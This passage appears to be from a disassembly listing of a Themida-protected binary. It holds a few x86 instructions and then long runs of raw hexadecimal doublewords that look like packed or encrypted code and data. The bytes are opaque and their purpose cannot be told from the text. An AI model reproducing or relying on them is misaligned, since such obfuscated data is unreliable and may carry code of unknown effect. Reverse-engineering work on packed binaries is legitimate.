mov [esi+eax], bl
jnz loc_549553
loc_549568: ; CODE XREF: Themida_:00549548j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 8Bh
dd 0C98D8DD0h, 6A05E7B9h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 53E8C351h, 0DB816612h
dd 8D89ACE1h, 5E20BE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0ABC35646h, 77873FE3h, 0C1950975h, 8B05E222h
dd 0E22B1185h, 6185C705h, 7005E207h, 6A000073h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 1BA0C351h, 0A4975C90h, 85C75370h, 5E21B55h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0ADC35040h
dd 95338B4Fh, 5E20655h, 10E5B5FFh, 6A05E2h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 89E339C3h
dd 0E20B75BDh, 1595FF05h, 6A05E20Bh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 98BAC353h
dd 1E57B599h, 0FF006A4Ch, 0E20AB995h, 0EBC08B05h, 4219617Fh
dd 24516528h, 4AFE220Bh, 68EAB034h, 51419E34h, 8F2EB188h
dd 0F6F79Bh, 0BDAAE458h, 9C9A9FFDh, 79C4C1A8h, 0CB8DE535h
dd 837FD023h, 2FEFDF49h, 5C1381E9h, 5809CDC8h, 0C004DD27h
dd 0E35F8B90h, 2F124CD3h, 55904AF2h, 92C84BF3h, 64EF0EA2h
dd 0C8790131h, 28B634C0h, 0B4BD2B19h, 8ED918ACh, 1845A44Ah
dd 2FDB7FD8h, 912617A5h, 43457188h, 0DB188EF7h, 4AFF6AE6h
dd 93F545FBh, 15CE9h, 471F4300h, 5F4BFDF1h, 4D58AF97h
dd 4656340Bh, 45567F52h, 4E58500Bh, 65717E52h, 37247E3Bh
dd 17255B52h, 0A37945C5h, 70B68361h, 1148852h, 1151052h
dd 1141C52h, 1140A52h, 1140752h, 1148352h, 114EE52h, 114E052h
dd 1147852h, 1143852h, 726D4F52h, 1796B26h, 6E665772h
dd 7267E631h, 114C10Fh, 114E052h, 1147052h, 1143852h, 1141C52h
dd 1140E52h, 1140752h, 1148352h, 114C152h, 114E052h, 1147052h
dd 1143852h, 1141C52h, 1140E52h, 1140752h, 1148352h, 114C152h
dd 114E052h, 1147052h, 1143852h, 1141C52h, 1140E52h, 1140752h
dd 1148352h, 114C152h, 114E052h, 1147052h, 1143852h, 1141C52h
dd 1140E52h, 1140752h, 1148352h, 114C152h, 114E052h, 1147052h
dd 1143852h, 1141C52h, 1140E52h, 1140752h, 1148352h, 114C152h
dd 114E052h, 1147052h, 1143852h, 1141C52h, 1140E52h, 1140752h
dd 1148352h, 114C152h, 114E052h, 1147052h, 1143852h, 1141C52h
dd 1140E52h, 1140752h, 1148352h, 114C152h, 114E052h, 1147052h
dd 1143852h, 1141C52h, 0B546E652h, 1678E92Ch, 99680000h
dd 0E905E7BDh, 0FFFB9210h, 0E7BE9F68h, 9206E905h, 5368FFFBh
dd 0E905E7BFh, 0FFFB91FCh, 0E7C03E68h, 91F2E905h, 1A68FFFBh
dd 0E905E7C2h, 0FFFB91E8h, 0E7C39468h, 91DEE905h, 7B68FFFBh
dd 0E905E7C4h, 0FFFB91D4h, 0E7C58568h, 91CAE905h, 5B68FFFBh
dd 0E905E7C7h, 0FFFB91C0h, 0E7C83868h, 91B6E905h, 0F068FFFBh
dd 0E905E7C8h, 0FFFB91ACh, 0E7C9A168h, 91A2E905h, 0C268FFFBh
dd 0E905E7CAh, 0FFFB9198h, 0E7CFBA68h, 918EE905h, 9968FFFBh
dd 0E905E7D0h, 0FFFB9184h, 0FF82DD58h, 375AA703h, 70176ACBh
dd 4AED328Eh, 89A8F374h, 63C470AFh, 29897918h, 0EE4DB5D4h
dd 0B2328C93h, 0C860CA6Dh, 5F7C2B5h, 0ED8567A0h, 7E5AA703h
dd 2F8F11B9h, 0D1AAC7D1h, 56A5EDB3h, 44199075h, 0A6062867h
dd 0B499E644h, 96ED7195h, 0D23967FAh, 5734ABCFh, 2974F739h
dd 0BCBBD64Fh, 0C3A00B94h, 2B63F296h, 0E883E8F2h, 7C54A706h
dd 5ED8h, 294DEF00h, 7BF8C652h, 0FCD4E920h, 0CB2FC964h
dd 15BAABCFh, 28E5C8BEh, 32C55821h, 0F7A00B1Ah, 89593714h
dd 4E934B7h, 0DB28826Ch, 68A18F5Ch, 9FE7CF10h, 8F80B2BAh
dd 69E78CA1h, 829EA00Bh, 3661BE3Ch, 7E023B15h, 0E8CBB7F7h
dd 1C9A6483h, 8B7B48C7h, 86A7D22Fh, 0C0AEAAh, 47310000h
dd 0CCA4F979h, 0C22082E2h, 5111987Dh, 3A0473CEh, 0E5CB65BAh
dd 0DAC04584h, 3A783BC7h, 2F09DA55h, 1B68C8F6h, 0BAE5D974h
dd 62C2A5ECh, 24847A1Dh, 0AA3250DFh, 901847D1h, 0F2AC91B7h
dd 0EC0119F7h, 0ABCEAD64h, 51F59477h, 47DA760Dh, 0A5EEFDAAh
dd 67E88063h, 794697FBh, 0D46C4439h, 0AAF572BCh, 3C7FE0CEh
dd 0B442A51Dh, 25305E19h, 3E0C39Ah, 5157D388h, 0B3EC0D7Ch
dd 13E7h, 4FD22D88h, 87AAF773h, 0C067BA3Bh, 1A3D82FEh
dd 59F843A4h, 0B33480FFh, 79F9C968h, 3EBD0524h, 2625CE3h
dd 98B09ABDh, 5F67205h, 0E2D5B7A0h, 2C338E11h, 630D52D2h
dd 722D2FFCh, 0BF99FDC4h, 294D59AEh, 13AEC652h, 0A5EDB368h
dd 800F52D3h, 12FEDDA3h, 0CC15E77Ah, 3B18ABCFh, 9BD2A1FCh
dd 0DE41A00Bh, 0C92A1483h, 0D7B4096Bh, 0F197C258h, 286F33Fh
dd 0E8FD3B73h, 0CBE483h, 11EB0000h, 0ADC7328Fh, 0A49EE343h
dd 93B0FF44h, 2578FBC5h, 0F8E2C40Bh, 3E38FFA7h, 7A44DB52h
dd 2FA5ED35h, 16D870CDh, 0F8CD4497h, 19E77110h, 846A469Bh
dd 7E799424h, 0A3A5ED2Bh, 2B85768Bh, 0C9AAA5EDh, 876907E4h
dd 885DD429h, 0D11569A0h, 0D1039EBAh, 4ABCF5Ch, 8065BA3Ah
dd 0EBA467E8h, 0DA725BEFh, 0A7CF6FFEh, 332944ECh, 0CEA5F008h
dd 0FA7D43EDh, 0BD3E80A7h, 77A2FF7Fh, 4B1A7156h, 617C4FDFh
dd 12E15708h, 338E0000h, 0FD7949E8h, 0C02181A0h, 88E4DA7Dh
dd 49AA143Bh, 86F953F6h, 0CB6EB132h, 72A77F7h, 5EE13CBBh
dd 9CA30060h, 74079AB6h, 0B9A005F5h, 8E11E0DBh, 52D22C33h
dd 0D42E9010h, 5E23008Fh, 0A2DF2D3h, 4E8F11BDh, 0AB69BC18h
dd 76A1868Fh, 0F49BE848h, 0D950AB0Ah, 2E4A9719h, 0ED48AEA1h
dd 15E30848h, 0DB160174h, 3D50F893h, 0ABCF0A7Fh, 0F13F593Ah
dd 0D945136Eh, 9526B044h, 0CCAC3397h, 0C96A9DABh, 1559EBC5h
dd 0EDBFD27Eh, 90AE63B8h, 0BE2644B3h, 0C216ABC5h, 2DA88506h
dd 5CDC224Eh, 27876907h, 936FFEDAh, 9859CC11h, 0A879BC76h
dd 122D1041h, 0E7420000h, 0B10DF594h, 74F5CD6Ch, 3CB80629h
dd 0FD7E40E7h, 7AB59FA2h, 0F126DCEh, 4BEE33B3h, 82A5F877h
dd 0C067BC3Ch, 0B843DE6Ah, 7DA005F4h, 7947AC9Fh, 5B68A7FAh
dd 0EC31B37Dh, 0E69DC1A5h, 0E4D9374Ah, 9774ABCFh, 0B4C961F9h
dd 0A00B81C3h, 0FE88B68h, 14A00B82h, 9277CC2Ah, 0C20DA7C6h
dd 9B132C92h, 3E83FF27h, 2FB17F59h, 9FC7A7D2h, 0B4314CE4h
dd 5DA5F2DBh, 8CECD27Eh, 54D71937h, 0C1489314h, 0C7271FFCh
dd 658F9E7Ah, 0EB4CBAFAh, 0ECC4A469h, 0D25DA202h, 39572CB0h
dd 0B2578F7h, 237F05F6h, 6F492A9Ah, 390FBAD7h, 0DBB8A00Bh
dd 0ACF173BDh, 0A7FC638Dh, 6CDCFA59h, 94088D0Dh, 7459BF04h
dd 0D52D29Ch, 77CE082h, 8EEFD169h, 0AC71CE2Eh, 0C753A9C4h
dd 10EE9A1Eh, 0FCC14893h, 0F5F58C1Fh, 96E3881Bh, 1142D9h
dd 8FD22F00h, 479C16E8h, 1C5FDE20h, 0DA27857Dh, 95E84BB7h
dd 0D1659AF2h, 926CF34Eh, 56A8CF14h, 1FE386D9h, 5521409Dh
dd 0F3D7A03Dh, 7E5CA005h, 338E118Dh, 4E58DB25h, 0EDB34833h
dd 290EEDA5h, 28963E4Fh, 8E9C74C7h, 0EE032D66h, 0ABCFCA12h
dd 0FFC34E2Dh, 0A101207Dh, 3E83FF3Fh, 284CDE59h, 0B4ADF24Eh
dd 0E3D92098h, 0BFD9BED8h, 4B5DD927h, 0AD14536h, 2409EAA0h
dd 5DF0D8EDh, 0A5ECFCAFh, 8C6F82AAh, 919A28A6h, 2C6FF0B2h
dd 55E3C0E5h, 47B20F6Bh, 7B138A66h, 79FB3ACEh, 7DE10524h
dd 29D76A06h, 4CA00ABDh, 90DE9934h, 60439446h, 5CDBB888h
dd 2380FAC4h, 0F38ED7F4h, 206832E3h, 53D59B75h, 79499413h
dd 54C3A0FDh, 7AB50A6Ah, 6EA9F674h, 0F127DD14h, 0BA27DD94h
dd 0F1F2B215h, 0B9977BCCh, 204843ABh, 2887EF8Dh, 0C6694A9Ah
dd 0EC2B78F8h, 646BE291h, 8ED3518Eh, 7FBF3F03h, 55DCA1FCh
dd 5EB00D6Dh, 43C355EBh, 61C352F6h
dd 0BBD37D1Ch, 644B5526h, 1A65C48Eh, 9EACE9Fh, 82DF412Fh
dd 94EF7717h, 7C9F61FCh, 75DA9446h, 0C3D77E90h, 0E6C692FEh
dd 0C4E46B05h, 0A3250585h, 52293810h, 3249AD06h, 0AA78B926h
dd 0C598FD37h, 0B3901F62h, 625A75EEh, 971ABC99h, 0E10CA1B9h
dd 3A8E698Dh, 0C53CB59h, 234A5637h, 71E16279h, 8421A920h
dd 84E7C9A7h, 3178C324h, 0ADC04F2Ch, 829A1BC6h, 49ABCD11h
dd 0D29DCF88h, 7F5CED81h, 224E1330h, 1CDF728Ah, 18299BFh
dd 963B5622h, 4F888178h, 7AFAC46Ch, 0DF30B25h, 0BD857AAh
dd 0B2038F68h, 0D9B7947Ch, 0A9F67648h, 93C9166Eh, 70751226h
dd 9D1EE0C8h, 2581E15Fh, 0AF8C51D8h, 0A3B253CAh, 7FBA99C4h
dd 0F6602h, 53AE0B00h, 2B78F2CCh, 0E03BBA04h, 0BE036141h
dd 79C4279Bh, 0B5017ED6h, 7648EF32h, 3A84ABF8h, 0E3DF62BDh
dd 311D3C81h, 0F1F38419h, 5A38A005h, 338E1161h, 0D52D22Ch
dd 0FA3CBC82h, 0C940257Ah, 93EFD149h, 16E2C34Eh, 0A6AA95Fh
dd 0EE039BB5h, 0A5EDB40Dh, 0C6673112h, 0CB1574B8h, 1AC1D89h
dd 11A20000h, 0FBC7328Fh, 0A20C2479h, 5A1DB048h, 0DFA5EDB3h
dd 0B3901FFCh, 0BE2644E5h, 0A16ABC5h, 65ABCFD2h, 0B52DAFAh
dd 0A03D68F7h, 0A00AC2D7h, 0A89A7F5Ch, 0AABBF649h, 9124ABC5h
dd 6906D0A9h, 83DE5F27h, 20593714h, 81030748h, 520A530Eh
dd 0B2F7A9B6h, 0B7A88DC0h, 37985FD9h, 172A064Bh, 0A00B1C60h
dd 820D50D3h, 0B6E13EBCh, 49DF65DCh, 65F094CDh, 83E87A29h
dd 2FCAh, 294D1D00h, 6691EC4Fh, 65094639h, 0CD92F6A7h
dd 462B76F5h, 7E5972Ah, 6B48ABCFh, 0D7A2512Ch, 6C25A00Ah
dd 39111DD8h, 0B6B283E8h, 5000000h, 0A5F87947h, 0B17F596Ah
dd 0CDA7D22Fh, 0F13885E3h, 0B93A04ECh, 68A7FA7Bh, 0B00D6B5Bh
dd 0B4CCA4D3h, 0EDB35E19h, 7EFDC3A5h, 0F2D7F423h, 8BD85826h
dd 60C2220Ch, 6D7EB906h, 0EACF1295h, 0B8162847h, 31B3A5EDh
dd 8B234DECh, 0EDAE8576h, 0EFC9AAA5h, 0D662195Dh, 0D25F23BBh
dd 57E1C2ABh, 94BB0669h, 2776C92Ah, 766D8970h, 0EC6C2554h
dd 8500000Dh, 4CB2D528h, 348AADF2h, 0FBC76AB5h, 0A101207Dh
dd 0F45CE33Eh, 51AC0FBBh, 2D72F0CEh, 0E437B40Ah, 0A6FB7D45h
dd 29FAB83h, 0A005F079h, 11EBDCBEh, 12E5788Eh, 17A5EDB4h
dd 98305734h, 0AF89D656h, 7F025FC1h, 328F118Ah, 44E9B926h
dd 0F476E9B8h, 5BDDE51Ch, 39F7E87Ah, 6247356Ch, 13CB89D6h
dd 285255DAh, 5FC12140h, 6FF79702h, 36B27C14h, 0DA770FE9h
dd 0ABCF4C1Eh, 0BC017F41h, 7917F4D4h, 77E835B7h, 0A7204A01h
dd 9BAA862Eh, 74456h, 8E119D00h, 23ACC433h, 0CE5FE11Ch
dd 0B2CFA936h, 0A5ED30C5h, 0FBCBCC10h, 299A8EF5h, 819AAEEBh
dd 0AEC5CFC0h, 250A55D4h, 596CC40Bh, 85ADAA2Dh, 0ABE63BBDh
dd 0BA6BE9Ah, 0ABD539CEh, 0D21C3417h, 946A0D52h, 7E40CF14h
dd 0AE6BA2FDh, 6E7670C3h, 0D05560Bh, 0F6A0000h, 0D955ADCCh
dd 9C1DE584h, 64C03E41h, 2586781Fh, 0A2DDB7DAh, 274A9516h
dd 63065BDBh, 0BADD209Fh, 0F89FE444h, 906B8692h, 95A005EFh
dd 2F47C4B7h, 0EDB3E992h, 0F4704EA5h, 0EECAAFh, 0C53D5C9Fh
dd 59A40363h, 0D73DC74h, 0F5861B5Eh, 3AA5ED0Fh, 26960859h
dd 0AE9009E7h, 1886F14Eh, 18989B21h, 121AA4CBh, 0B389CA60h
dd 3Ch, 0F9794704h, 0AA246DA4h, 0DEAEEFB3h, 5ADAA489h
dd 0DFB98A05h, 0ECD8EF42h, 74AAABA5h, 5EFFFFFDh, 280899C6h
dd 94ABA927h, 0ED9DFEF9h, 7CC13DA5h, 9E59F49Ch, 83A5ED9Dh
dd 2F5C3A0h, 0E9922F47h, 4EA5EDB3h, 9EE836Dh, 54A5EDB4h
dd 40DD7B10h, 0ABD56E1Dh, 5823BED6h, 0DDA005F9h, 0B17F19FEh
dd 734FD22Fh, 8F64D0F1h, 8984778Ah, 0CAA9A006h, 9E5FC399h
dd 0D1519FB9h, 0BE3D058Ch, 7BB29E63h, 3AB4F477h, 2A84AAE5h
dd 0A4895AD5h, 3C015EDAh, 70BA3AE9h, 0CE83F676h, 0BFBh
dd 0A3C61994h, 0FB9EE35Fh, 345BA607h, 0E116ECAh, 4DEC2FB0h
dd 9718ACE3h, 5DDD2544h, 22816100h, 0E646B8DFh, 849CF699h
dd 5EE8E69h, 0C6B193A0h, 0C7328F11h, 0ED2479FBh, 6BCB3565h
dd 7D033A16h, 46E936B6h, 0CB14F438h, 159D89h, 47220000h
dd 3CB8F879h, 1B3602E7h, 0A5EDBD96h, 0FC95430Ch, 4D6AFFFFh
dd 0F3841929h, 38A5EDB3h, 47DA765Bh, 0ABCFB469h, 0B5C84724h
dd 0A00BB2BFh, 7A27A8C0h, 86D958FEh, 0B4293A0Bh, 0A8A18F43h
dd 83085714h, 5324B90Eh, 0D8A00B5Eh, 0EC326AFBh, 0C04F9412h
dd 0C321EE3h, 83E83F00h, 8ED3539Dh, 2562203h, 17Ch, 5C1847D5h
dd 0A2594556h, 72314C24h, 1CA5ED9Bh, 0B641DC74h, 7BA5ED9Ah
dd 1EC0B098h, 0C03E419Eh, 0F9940360h, 0A5ED9B62h, 2DE89CD5h
dd 0B3D376CBh, 1D256C2Fh, 922A469Bh, 0ED9A7C7Fh, 0F6C2A1A5h
dd 0B4096B57h, 9AC1267Dh, 8CE4A5EDh, 3F7AC522h, 750B422Eh
dd 0CAF7AEFEh, 11E5789h, 11980000h, 0D826328Fh, 0BF8C0B58h
dd 0FEC058D1h, 6957217Eh, 7797BA07h, 61FC94EFh, 0ABCFD23Bh
dd 47DA5536h, 0A00B94B0h, 6FE69AD7h, 83E8F21Fh, 20C0h
dd 294D1700h, 0D1ABC652h, 54ABCFCBh, 8E653877h, 31A00B9Bh
dd 0FD31C478h, 0A683E8FCh, 0B2h, 2F8F1129h, 6EA98ED3h
dd 159CDF40h, 3B76CB2Dh, 0C968B537h, 1FA17AFh, 26A5EDB4h
dd 0D2A11C45h, 0BAF5DB80h, 7F0743DEh, 50D0A5EDh, 0C34E91EEh
dd 0D87A1DE2h, 3C51FF94h, 0ABD1FE9Eh, 0F74AAB15h, 0F8774919h
dd 74596AA5h, 0EA1B44DCh, 6C723994h, 1A9D634Dh, 0E847A9C7h
dd 54AABB95h, 0CDAEC3D3h, 52A00835h, 0B479AC71h, 4C766E52h
dd 0A25742Dh, 0EF4A0000h, 0B9358DACh, 7CFDC564h, 44A01E21h
dd 56658FFh, 42BD97BAh, 72A75F6h, 43E63BBBh, 9ABD007Fh
dd 0D87FC424h, 0B04BE672h, 75A005ECh, 7947A497h, 596AA5F8h
dd 0D32EB17Fh, 0ADF2724Ch, 8F113D8Ah, 59D82632h, 0CFF32A06h
dd 0C071106Dh, 3BDh, 97EC46A8h, 8A6D4B18h, 0D21A0D9Ah
dd 0B9079FB9h, 710CE439h, 0ABD56DFDh, 0B7ED3714h, 0A13C542Fh
dd 0A5E81087h, 96EE290Ah, 9D7BC828h, 23E0F380h, 66FE8A9Ah
dd 23E030CBh, 3A16F59Ah, 0B6F67D03h, 5F7E013Eh, 31Eh, 0B3B54260h
dd 572FA5EDh, 0AEA5EDB3h, 0B400FB16h, 5B25A5EDh, 3A0B86DBh
dd 85E97B55h, 85CA620Eh, 0F124A3DDh, 49E4CC6Eh, 0ABCF4A27h
dd 0BA6F2DB2h, 8187B436h, 0A1F4D7B7h, 766BA316h, 48027FBAh
dd 29000009h, 10EE71CCh, 0D8264996h, 9F630659h, 45BDDC21h
dd 90F89FE2h, 0F548AB1Fh, 0B10E6C52h, 88D350AEh, 4A9719E9h
dd 9E334F27h, 0A005EBDDh, 47976042h, 6CABF679h, 0DB9C315Fh
dd 40A5EDB3h, 49AB9563h, 18308DE9h, 0EDB3F285h, 775437A5h
dd 0FD7F41D9h, 395469A0h, 0A5EDB33Eh, 0F4237EFDh, 4612F1D7h
dd 5C37BFCFh, 6E589934h, 0EAC9ABD5h, 0C4BF2747h, 0B3E411ACh
dd 6E4DA5EDh, 0E444AAC2h, 6FCFB19Fh, 3BE00F12h, 7A9A1E40h
dd 0AF49BF4h, 16D857ACh, 89D65496h, 0C1228CA4h, 0B30F337Eh
dd 76AF896Eh, 9DBBD014h, 564800h, 7DA88BA0h, 823A63CCh
dd 9064DD5Ch, 0E1000008h, 0A8163984h, 906EF14Eh, 57ABCE11h
dd 1DE584D9h, 4820479Ah, 0BD0063D7h, 79C6249Ah, 308BE8D6h
dd 0F24FD111h, 0D66B076Fh, 0A005EC25h, 4D5F280Ah, 0AEF34F29h
dd 0E712AFC9h, 78ABD56Dh, 336E70D7h, 0B65AF46h, 0CC2D36DCh
dd 3909E7FAh, 72F03E5Ah, 1CE20A2Dh, 0B0C8479Ch, 6725A1Dh
dd 1FFCDFA0h, 92EF4F31h, 0A4DF0767h, 2D8A748Ch, 4685FFAEh
dd 0B29730AAh, 0DF2A4BE6h, 18FBA5EDh, 0D63FEF70h, 431CFE82h
dd 66E3C75h, 9F1DE38Dh, 1AF6D742h, 0A304EA02h, 83DD7058h
dd 769FFFFFh, 0FB39ACE9h, 0A085A9AAh, 3AC4DE75h, 62DF5A82h
dd 7DFh, 47EA35B0h, 9FA2FF7Bh, 0D87FC223h, 12358AE6h, 51F04BACh
dd 0BB3C8807h, 81E1C160h, 46A51D3Ch, 0A6A54FBh, 0A0B892B5h
dd 5EA6A0Dh, 1AEDCFA0h, 0C7328F11h, 0ED2479FBh, 0A5701465h
dd 275BFE43h, 89CB10E7h, 12988h, 8F115F00h, 79FBC732h
dd 5EB0524h, 0F2D35EA3h, 0ABE00426h, 0D22C708Dh, 7947ABCFh
dd 5B68A7FAh, 9A14DA76h, 0A186D958h, 34C35ED7h, 4BA00B94h
dd 0A3EB6A1Eh, 4C83E8F2h, 3Ah, 52294D93h, 0CBD1ABC6h, 6A54ABCFh
dd 0F14EA80Ah, 0E3C0E52Ch, 2944DCB4h, 0A00B9B4Eh, 9B75069Bh
dd 0D9BAA00Bh, 213C14F7h, 0A00B9B52h, 0CD883C75h, 83E8FDC1h
dd 9D62h, 8F117500h, 5ED82632h, 63FE9601h, 0A5EDB398h
dd 0FFD9BE9Dh, 0AF37B886h, 0EDB36912h, 8EDCEA5h, 0E23FA181h
dd 0D4298BB7h, 6E831BB5h, 0A5EDB38Dh, 1DB6CD92h, 68778DCDh
dd 1E90AD8Bh, 6BA5ED8Dh, 7195B409h, 67FA96EDh, 0ABD204F7h
dd 57AC08F6h, 9718E672h, 5ADD2544h, 0E4479407h, 6881766Dh
dd 6BE37h, 0B56D300h, 0C3209A64h, 98E342BCh, 56AB09F9h
dd 116CCF33h, 5DE9260Eh, 1EE087DAh, 0C23C43A0h, 8B771A65h
dd 0D9B5D429h, 0E94B2C41h, 0F2D0A005h, 338E1139h, 0D52D22Ch
dd 8F119D6Ah, 59D82632h, 0CFF32A06h, 0E771106Dh, 6E4A9719h
dd 58F1h, 1847F800h, 0B30F0D43h, 4102236Eh, 220EE733h
dd 0B63E8FD7h, 0EB4DB3DDh, 0F350AC96h, 0B1C9A784h, 0D49AD31Ch
dd 0CD6B48ABh, 30EEF182h, 69075E26h, 4F823D4h, 4D2B08A0h
dd 66749C1h, 6998DDBBh, 7F1972FAh, 0ECB292E2h, 80E3CDA5h
dd 7D1F23Dh, 67D84427h, 51h, 52294D4Eh, 0E4D9ABC6h, 8F6CABCFh
dd 72856D00h, 308AA00Bh, 1E9AA4D3h, 71C856C1h, 4CFD55CBh
dd 0BABD21B8h, 83D6C697h, 0FFF815BFh, 24A00B96h, 0F39D6247h
dd 0CDAEC35Bh, 52A00B96h, 0FA8AA771h, 4DA5EDC7h, 80FCC26Eh
dd 0BB345523h, 0ACh, 52294D32h, 0FB16AEC6h, 0A5EDB400h
dd 0FE7C4625h, 7B5576A1h, 0D56E8BE6h, 0D0A784ABh, 0A4F776B8h
dd 277869CCh, 0D3DB9A2Eh, 7C83E35Bh, 70h, 52294D43h, 6E47ABC6h
dd 0FDDEABD5h, 0B30E6D53h, 0A8896744h, 2A8D847Dh, 1C9658D7h
dd 0C96048C7h, 0D29BFD33h, 5B67A72Eh, 410883E3h, 0DF000000h
dd 0ED4F294Dh, 8A5B390h, 0ABD56DE7h, 98E3423Ch, 89244C11h
dd 0A005F8EEh, 0BC735033h, 6F079849h, 2FCFC9E0h, 649E992h
dd 0F46D4EA0h, 0E94B8A07h, 60D9B794h, 0C11519DCh, 0DBE83E3h
dd 1000000h, 0EDCD4D42h, 64809A5h, 6FFFFFFFh, 0A7FA7947h
dd 5833BBC9h, 6F809D30h, 1AF9ABD5h, 0B83B859Fh, 75F98B65h
dd 0D158A503h, 0BF012F0Ch, 7D15E33Eh, 47304DE5h, 0ECA005F8h
dd 0E40C210Fh, 37A5EDB2h, 2549DD54h, 6A3D4B12h, 0FC3508F4h
dd 6E9EC771h, 4AE6CB15h, 5829237h, 30583BA0h, 82F74CEh
dd 5DA21EE0h, 83557E04h, 5C347649h, 43EDA6CEh, 1E2AF32Eh
dd 81AF8C9Ah, 0DA7DC03Fh, 53D41AB2h, 0B3926508h, 0B4978E4Eh
dd 5EE741DCh, 1CE22675h, 0FBC8479Ch, 8CD1531Dh, 4E9315EDh
dd 403BA3C3h, 33F79528h, 7152FC0Ah, 49324FE7h, 0EEF045DDh
dd 90EA230Dh, 1090A359h, 0D552ACB3h, 0C7230F8Ah, 3C353F7Ah
dd 982E8D88h, 45DD7205h, 29FB7F0h, 0F045DD79h, 1BF8DDBEh
dd 0CA30D27Dh, 83502B46h, 0F6D5F046h, 0B81F7D6Dh, 0F271B1D0h
dd 0A1E833B2h, 1870BF9Ch, 981658D6h, 1AFFCC4Bh, 97E2CE9Fh
dd 853B7260h, 4BEE318Eh, 495FDF21h, 460E4334h, 260BE8F0h
dd 18476D4Ah, 4783679Eh, 70CD2BBDh, 3DA7C593h, 81E3CF4Ah
dd 1168F53Ch, 46EF46Bh, 0D07754A7h, 7E318EEEh, 0DA56DB0Bh
dd 0C7240A85h, 0E8613D74h, 0E34EDC54h, 956D65Dh, 459D59Bh
dd 9505F68Dh, 0E960A5EDh, 0CE289653h, 4B250671h, 95B40965h
dd 0E573CE2Dh, 709A317Ah, 7642D9E3h, 0D394603Fh, 5139A5ECh
dd 0E5B30E6Fh, 0DE5DD86Ch, 16AF583h, 53CE4059h, 0BE833B2h
dd 5CF41C2Dh, 0ED0D36C1h, 7264FBA5h, 1791B71Ah, 4CE1CFACh
dd 0A5ED7467h, 57D71937h, 63174276h, 0B19647A7h, 0E58B6546h
dd 89CA7EAAh, 0FFFF594Bh, 0A39CC3FFh, 867A8616h, 53AF7CBBh
dd 0A55098F2h, 8F11ECCBh, 51D32F32h, 0E3453D0Ch, 7783AB9Eh
dd 4D9011DFh, 0A952E1C2h, 90A5EDB3h, 7C41C813h, 98D1BF9Ch
dd 72CF51E4h, 15206C12h, 53C189CBh, 16000000h, 0C652294Dh
dd 0D56E49ABh, 8FFDCABh, 8FEC25DDh, 81FDC54Ch, 9F7CC121h
dd 39CF7A10h, 0F42380FAh, 0D44F2D7h, 0A604EA77h, 230DDE59h
dd 8AA6DD01h, 0EC2F8C72h, 55E880A5h, 0A005F9A2h, 0B1CCA487h
dd 0A5EDB43Fh, 0FB93F1D2h, 826EB335h, 42CDh, 294DE400h
dd 78F8C652h, 0F1DFEC2Bh, 6DACC459h, 9C7FABD5h, 86857EADh
dd 945AD52Ah, 8E698414h, 93A005F8h, 3AA4D3B0h, 0F967B94Fh
dd 165FC80h, 0F8CBACC1h, 7350A005h, 56F82AEh, 18A5EDB3h
dd 11EEE93Bh, 0FBC7328Fh, 0A20C2479h, 7011FF44h, 67F18AD2h
dd 0CFD1D6CAh, 0A6B291ABh, 3CED6D39h, 328C2FBCh, 0E92008EDh
dd 0B25DD9Ah, 13A9E0A0h, 0E8834C40h, 33F583h, 5BA50000h
dd 351681DCh, 294D9C5Bh, 40AEC652h, 32139EE1h, 0CB31CB66h
dd 72BCABCFh, 0E1C1AFF4h, 0FBF89702h, 82A00B9Bh, 6AA231D7h
dd 0B83E8FDh, 0A3h, 328F11DCh, 0F815ADC7h, 0A5EDB3FFh
dd 87694724h, 905ED924h, 7A44B310h, 0E03BB8FAh, 0EDD17C03h
dd 0DAA5EDB8h, 9C62055Ah, 3A48C71Ch, 27BFD9B2h, 8B065BD9h
dd 8943DEBAh, 4CABCFCDh, 42AAC86Fh, 920CEF02h, 3211A00Bh
dd 2AAEC36Dh, 0B5A5F045h, 0F374BAD6h, 0B63989A8h, 0A9AD306Bh
dd 86F37C4Fh, 1C6C9h, 0F34EAB00h, 0CB18926Ch, 80DB5AA4h
dd 5EA301E1h, 1964C73Bh, 55E11E76h, 16E88FD2h, 0DA244B98h
dd 837F025Dh, 0D1BDDC21h, 0E45324B9h, 0FAD8A005h, 338E1101h
dd 459DB25h, 43A51D2Ch, 4D6E5BFEh, 0AEC65229h, 0B583E040h
dd 0CFCBE098h, 0D71C43ABh, 2274CAC8h, 0DAFD1849h, 1AA82324h
dd 5CA2FA35h, 371483E0h, 852FC459h, 1B56A00Bh, 0E79EEE65h
dd 0B84783E8h, 88000000h, 0C7328F11h, 0B2578FBh, 56C153C4h
dd 0A5986D19h, 2B168C12h, 2F663217h, 0ED076E50h, 84D95BA5h
dd 469B1DE5h, 5833BBCBh, 1BAB9D30h, 4D2EABCFh, 0C03C822Ah
dd 39173463h, 0A0C8C32Bh, 0F649A608h, 8F72071Ah, 0D8BBA5EFh
dd 92ED4EB0h, 0DAB85986h, 0FA515BF7h, 7850AB08h, 4B9619E9h
dd 506D97D0h, 1F50D97Ch, 0E7h, 4FD22D88h, 87AAF773h, 0C067BA3Bh
dd 1A3D82FEh, 59F843A4h, 0B33480FFh, 79F9C968h, 3EBD0524h
dd 2625CE3h, 98B09ABDh, 5E37205h, 0E2D5B7A0h, 0E5788E11h
dd 0A5EDB412h, 30573417h, 36313798h, 0C4338E11h, 0B817EE7h
dd 0AA0AF4DCh, 11C53255h, 0FBC7328Fh, 0EB052479h, 0DC5BA605h
dd 0DD5F210Fh, 9F01E180h, 159CE15Fh, 0B415E67Bh, 391AA5EDh
dd 60387754h, 52DD229Eh, 78B70C6Ch, 97AA866Bh, 0CF404866h
dd 0B47F057Ch, 7648EF34h, 9837B4F6h, 19B93A78h, 0E5734AAh
dd 3E72DB33h, 0F33E03D5h, 0E52C71CFh, 8B065BDDh, 0B1F845A7h
dd 9C942821h, 4EC57BF6h
dd 0EC2F8CEEh, 0B3D87073h, 6045FF7Ah, 227FE1C1h, 0AE24C916h
dd 0FA284363h, 428DE71Eh, 54E9C4DFh, 7C9ABCA3h, 0EFBAAB88h
